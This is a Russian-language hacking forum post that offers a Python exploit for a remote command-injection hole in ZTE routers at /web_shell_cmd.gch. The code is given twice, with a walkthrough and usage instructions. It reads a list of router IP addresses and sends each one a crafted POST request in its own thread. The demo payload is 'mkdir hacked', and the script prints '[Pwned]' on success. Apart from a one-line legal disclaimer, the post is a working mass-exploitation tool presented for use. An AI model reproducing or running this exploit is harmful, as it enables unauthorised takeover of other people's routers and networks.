Перейти к содержимому



Фотография
  • Авторизуйтесь для ответа в теме
В этой теме нет ответов

#1 roguevad

roguevad

    Эксперт.

  • Пользователи
  • PipPipPipPipPip
  • 387 сообщений

Отправлено 19 Август 2020 - 01:24

Я хочу рассказать про уязвимость в ZTE роутерах, доступному по URI router_ip:443/web_shell_cmd.gch. Уязвимость заключается в том, что мы посылаем POST-запрос с ошибкой и ее типом, а в ней — код для выполнения. 

Информация предназначена исключительно для ознакомления. Не нарушайте законодательство. 

Поехали!

import threading

import socket

import ssl

import time

import sys

info = open(str(sys.argv[1]),'a+')

class skid(threading.Thread):

def __init__(self, ip):

threading.Thread.__init__(self)

self.ip = str(ip).rstrip('\n')

В этом участке кода мы загружаем необходимые модули для работы эксплойта. Также я сделал, чтобы цели брались из списка, подготовленного нами. В конце я покажу пример запуска эксплойта. И ещё на этом участее кода есть многопоточность. 

Далее в коде: 

def run(self):

try:

f1 = "POST /web_shell_cmd.gch HTTP/1.1\r\nHost: 127.0.0.1\r\nUser-Agent: HaxerMen\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nConnection: keep-alive\r\nContent-Length: 114\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\nIF_ACTION=apply&IF_ERRORSTR=SUCC&IF_ERRORPARAM=SUCC&IF_ERRORTYPE=-1&Cmd=mkdir+hacked&CmdAck=\r\n\r\n"

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

ssl_sock = ssl.wrap_socket(sock)

ssl_sock.connect((self.ip, 443))

ssl_sock.sendall(f1.encode('utf-8'))

ssl_sock.close()

time.sleep(3)

print("[Pwned]" + self.ip)

except Exception as e:

print(e)

return

мы передаём переменной f1payload, отправляя POST-запрос на /web_shell_cmd.gch с ошибкой, где в типе ошибке уже содержится payload. Для примера я просто сделал команду, которая создаёт папку hacked. Далее идут SSL-сокеты, которые отправляют payload устройствам из списка. При успешной передаче команды роутеру ZTE выводится надпись Pwned + IP роутера. Слэшы и точки должны быть в hex формате, а пробелы — заменяться знаком +. 

Далее в коде идёт простая функция, которая просто запускает эксплуатацию роутеров: 

for ip in info:

try:

time.sleep(0.01)

skid(ip).start()

except:

pass

Пример запуска:

python exploit.py zte

Где zte — это список IP адресов роутеров ZTE.

Тип записи IP роутеров ZTE в список:

192.168.1.1

192.168.1.2

192.168.1.3

Исходный код эксплойта:

import threading

import socket

import ssl

import time

import sys

info = open(str(sys.argv[1]),'a+')

class skid(threading.Thread):

def __init__(self, ip):

threading.Thread.__init__(self)

self.ip = str(ip).rstrip('\n')

def run(self):

try:

f1 = "POST /web_shell_cmd.gch HTTP/1.1\r\nHost: 127.0.0.1\r\nUser-Agent: HaxerMen\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nConnection: keep-alive\r\nContent-Length: 114\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\nIF_ACTION=apply&IF_ERRORSTR=SUCC&IF_ERRORPARAM=SUCC&IF_ERRORTYPE=-1&Cmd=mkdir+hacked&CmdAck=\r\n\r\n"

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

ssl_sock = ssl.wrap_socket(sock)

ssl_sock.connect((self.ip, 443))

ssl_sock.sendall(f1.encode('utf-8'))

ssl_sock.close()

time.sleep(3)

print("[Pwned]" + self.ip)

except Exception as e:

print(e)

return

for ip in info:

try:

time.sleep(0.01)

skid(ip).start()

except:

pass

Эксплойт работает на python2.

 

 





Темы с аналогичным тегами уязвимость, эксплойт, взлом, взломщик, хакер, хакинг, роутер, интернет, сеть, удаленный доступ, дистанционно, метод, способ


Яндекс.Метрика Analysis Счетчик ИКС
Добавить Vkontakte Добавить в Facebook Добавить в Twitter Добавить в LiveJournal